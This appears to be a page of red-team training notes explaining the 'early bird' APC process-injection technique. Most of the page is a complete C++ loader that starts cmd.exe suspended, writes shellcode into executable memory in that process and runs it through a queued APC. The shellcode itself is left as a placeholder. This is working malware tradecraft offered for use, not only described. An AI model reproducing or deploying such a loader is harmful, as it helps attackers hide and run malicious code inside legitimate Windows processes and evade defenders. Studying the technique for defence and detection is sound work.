> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/crto/malware-essentials/process-injection/early-bird.md).

# Early bird

The downside with the APC method is that there's no guarantee that the selected thread will become alertable, and therefore the shellcode will not run. You could queue an APC on every thread in the process, but that would almost certainly lead to crash. The 'early bird' technique gets around this by spawning a new process in a suspended state, queuing the APC on its primary thread, then resuming the process. This way, the APC is guarnteed to trigger.

```
#include <Windows.h>

int main()
{
    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\Windows\\System32",
        &si,
        &pi
    );

    // allocate a region of memory
    auto hMemory = VirtualAllocEx(
        pi.hProcess,    // handle to newly spawned process
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        pi.hProcess,
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // queue the apc
    QueueUserAPC(
        (PAPCFUNC)hMemory,
        pi.hThread,
        0
    );

    // resume the process
    ResumeThread(pi.hThread);

    // tidy up our handles
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}
```
